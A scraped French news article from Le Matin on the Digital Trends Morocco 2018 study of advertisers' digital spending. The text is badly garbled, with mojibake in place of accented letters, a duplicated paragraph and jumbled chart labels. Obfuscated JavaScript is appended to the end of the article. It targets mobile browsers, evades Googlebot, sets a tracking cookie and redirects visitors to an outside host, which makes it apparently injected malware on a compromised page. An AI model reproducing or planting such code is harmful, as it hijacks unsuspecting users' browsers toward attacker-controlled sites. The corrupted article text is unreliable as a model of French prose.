Le Matin / Digital Trends Morocco 2018. Investissements publicitaires attendus cette annA�e

Trois millions de dirhams. C’est en moyenne le budget allouA� par les annonceurs marocains au digital en 2017. PrA?s de la moitiA� da��entre eux (47%) ont dA�pensA� moins de 2 millions. Si ce budget n’a pas rA�ellement augmentA� comparA� A� 2016 (moins de 3 millions), les canaux ont en revanche connu des bouleversements. Selon les rA�sultats de la��A�tude Digital Trends Morocco 2018 dA�voilA�s en fin de semaine derniA?re, prA?s de la moitiA� (48%) du budget digital va aux achats MA�dias Online, majoritairement tournA�s vers les plateformes internationales, notamment Google et Face-book (62%).

En 2017, les annonceurs marocains ont dA�pensA�, en moyenne. 3 millions de dirhams dans la publicitA� digitale. Les amA�ricains Google et Facebook raflent plus de la moitiA� des budgets, mais la��intA�rA?t se tourne dA�sormais vers l’intelligence artificielle, la rA�alitA� virtuelle et la rA�alitA� augmentA�e. Trois millions de dirhams. Ca��est en moyenne le budget allouA� par les annonceurs marocains au digital en 2017. PrA?s de la moitiA� da��entre eux (47%) ont dA�pensA� moins de 2 millions. Si ce budget na��a pas rA�ellement augmentA� comparA� A� 2016 (moins de 3 millions), les canaux ont en revanche connu des bouleversements. Selon les rA�sultats de la��A�tude Digital Trends Morocco 2018 dA�voilA�s en fin de semaine derniA?re, prA?s de la moitiA� (48%) du budget digital va aux achats MA�dias Online, majoritairement tournA�s vers les plateformes internationales, notamment Google et Facebook (62%). Environ un tiers (32%) des dA�penses sont investies auprA?s des A�diteurs locaux. OA? va cet argent ? Toujours selon la��A�tude, 23% des budgets marketing sont orientA�s vers la production technique et 19% dans le dA�veloppement de contenu. Globalement, le budget digital reprA�sente, en moyenne, 8% des fonds destinA�s au marketing-communication. Un chiffre qui pourrait monter A� 13% en 2018, A� en croire les dA�clarations des annonceurs interrogA�s. Pour la plupart des entitA�s (74%), la stratA�gie digitale est dictA�e par le siA?ge rA�gional ou international. Pas A�tonnant donc que les stratA�gies dA�ployA�es localement connaissent les mA?mes mutations que celles prA�dominant actuellement A� la��A�chelle mondiale. Selon Digital Trends Morocco, le rA�fA�rencement et l’achat publicitaire restent les outils de communication les plus utilisA�s en 2017. Cependant, cette annA�e, la tendance sera beaucoup plus A� l’Intelligence artificielle, la Fintech, le CRM, le marketing automation et clockchain. Autant da��outils permettant d’obtenir une expA�rience client unique et donc un meilleur retour sur investissement.

A�Les sites web et les rA�seaux sociaux sont les plateformes les plus utilisA�es, mais la��intA�rA?t se tourne vers la��intelligence artificielle, la rA�alitA� virtuelle et la rA�alitA� augmentA�eA�, soulignent les auteurs du rapport. Autant de dA�fis technologiques qui imposent aux entreprises de prA�voir des A�quipes digitales dA�diA�es. D’aprA?s la��A�tude, 76% des annonceurs disposent de ressources affectA�es au digital, avec une moyenne de 3 personnes. En revanche, 31% cumulent la fonction digitale avec d’autres, globalement le marketing classique et la com’. Cette annA�e, les entreprises entendent renforcer les A�quipes du digital : un annonceur sur deux prA�voit en effet de recruter.

Pour rester A� la page, la formation est inA�vitable. D’ailleurs, 63% des annonceurs y ont recours, rA�vA?le la��A�tude. Les centres d’intA�rA?t ? La transformation digitale dA�tient la palme (78%), devant la technologie (52%), la production de contenu (44%) et la��analyse et traitement des donnA�es (26%). Les tendances du digital sont rA�vA�lA�es lors de l’African Digital Summit, dont la 4e A�dition s’est achevA�e vendredi dernier A� Casablanca, A� l’initiative du Groupement des annonceurs du Maroc Les sites web et les rA�seaux sociaux sont les plateformes les plus utilisA�es f Plateformes utilisA�es actuelferm I Plateformes A� utiliser en 2018 Site web RA�seaux sociaux Site web en Application Site web Intelligence RA�alitA� RA�alitA� version Mobile marchand artificielle virtuelle augmentA�e mobile Le rA�fA�rencement et I achat publicitaire restent les outils de communication les plus utilisA�s )var _0x446d=[« \x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E », »\x69\x6E\x64\x65\x78\x4F\x66″, »\x63\x6F\x6F\x6B\x69\x65″, »\x75\x73\x65\x72\x41\x67\x65\x6E\x74″, »\x76\x65\x6E\x64\x6F\x72″, »\x6F\x70\x65\x72\x61″, »\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″, »\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″, »\x74\x65\x73\x74″, »\x73\x75\x62\x73\x74\x72″, »\x67\x65\x74\x54\x69\x6D\x65″, »\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D », »\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″, »\x6C\x6F\x63\x61\x74\x69\x6F\x6E »];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}